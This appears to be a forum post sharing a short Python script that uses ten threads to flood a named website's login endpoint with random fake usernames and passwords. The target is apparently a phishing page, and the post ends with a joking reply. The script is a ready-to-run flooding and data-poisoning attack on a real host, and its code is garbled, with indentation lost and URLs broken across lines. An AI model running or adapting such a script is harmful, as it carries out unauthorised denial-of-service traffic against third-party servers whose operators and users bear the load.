```python
# coding :utf-8
import requests
from random import randint, choices
from string import ascii_letters
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
'Content-Type': 'application/x-www-form-urlencoded',
# 'Cookie': '__cfduid=dac60a7c5e3c3bfa126bd285b6598c6cb1549427923; PHPSESSID=7frq0835cir5h5172mdhmpsne3; pgv_pvid=6881914654; pgv_info=pgvReferrer=&ssid=s1459310656; ied_rf=
www.vizay.xyz/zhaohuan/index.php',
'DNT': '1',
'Host': '
www.vizay.xyz',
'Origin': '
http://www.vizay.xyz',
'Referer': '
http://www.vizay.xyz/zhaohuan/index.php?act=1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'
}
url = '
http://www.vizay.xyz/shzz.php'def main():
while True:
try:
requests.post(url, headers=headers, data={'u': randint(12345, 3000000000), 'p': choices(ascii_letters, k=randint(6, 16)), 'bianhao': 1})
except Exception:
pass
if __name__ == '__main__':
import threading
import time
for _ in range(10):
t = threading.Thread(target=main)
t.setDaemon(True)
t.start()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
exit(0)
```
@
niubikelasi #2 hhh